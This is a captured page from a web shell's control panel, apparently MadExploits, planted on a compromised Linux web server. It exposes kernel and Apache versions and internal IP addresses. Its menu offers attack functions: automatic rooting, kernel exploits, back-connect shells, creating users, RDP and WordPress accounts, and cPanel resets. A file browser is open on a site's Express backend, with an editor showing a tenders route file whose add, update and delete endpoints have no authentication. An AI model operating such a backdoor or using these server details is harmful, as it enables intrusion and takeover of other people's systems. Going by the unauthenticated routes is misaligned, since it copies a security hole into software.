Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ihub-website /
ihub_backend /
routes /
[ HOME SHELL ]
Name
Size
Permission
Action
Entre.js
1.42
KB
-rw-r--r--
auth.js
1.73
KB
-rw-r--r--
blogs
1.2
KB
-rw-r--r--
careers.js
1.59
KB
-rw-r--r--
collabration.js
1.32
KB
-rw-r--r--
fellowship.js
1.29
KB
-rw-r--r--
home.js
1.23
KB
-rw-r--r--
members.js
1.21
KB
-rw-r--r--
mevent.js
1.33
KB
-rw-r--r--
news.js
1.19
KB
-rw-r--r--
newsletter.js
1.29
KB
-rw-r--r--
rgrants.js
1.35
KB
-rw-r--r--
startup.js
1.95
KB
-rw-r--r--
tendors.js
1.29
KB
-rw-r--r--
webinar.js
1.36
KB
-rw-r--r--
workshop.js
1.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tendors.js
const express = require('express'); const router = express.Router(); const Tendor = require('../models/Tendors'); router.get('/', (req, res) => { Tendor.find() .then(tendors => res.json(tendors)) .catch(err => res.status(400).json('Error: ' + err)); }); router.post('/add', (req, res) => { const { name, link, date, doc_link, ted_doc_link } = req.body; const newTendor = new Tendor({ name, link, date, doc_link, ted_doc_link }); newTendor.save() .then(() => res.json('Tendor added')) .catch(err => res.status(400).json('Error: ' + err)); }); router.put('/:id', (req, res) => { const { name, link, date, doc_link, ted_doc_link } = req.body; Tendor.findByIdAndUpdate(req.params.id, { name, link, date, doc_link, ted_doc_link }, { new: true }) .then(updatedTendor => { if (updatedTendor) { res.json(updatedTendor); } else { res.status(404).json({ error: 'Tendor not found' }); } }) .catch(err => res.status(400).json('Error: ' + err)); }); router.delete('/delete/:id', (req, res) => { Tendor.findByIdAndDelete(req.params.id) .then(() => res.json('Tendor deleted')) .catch(err => res.status(400).json('Error: ' + err)); }); module.exports = router;
Close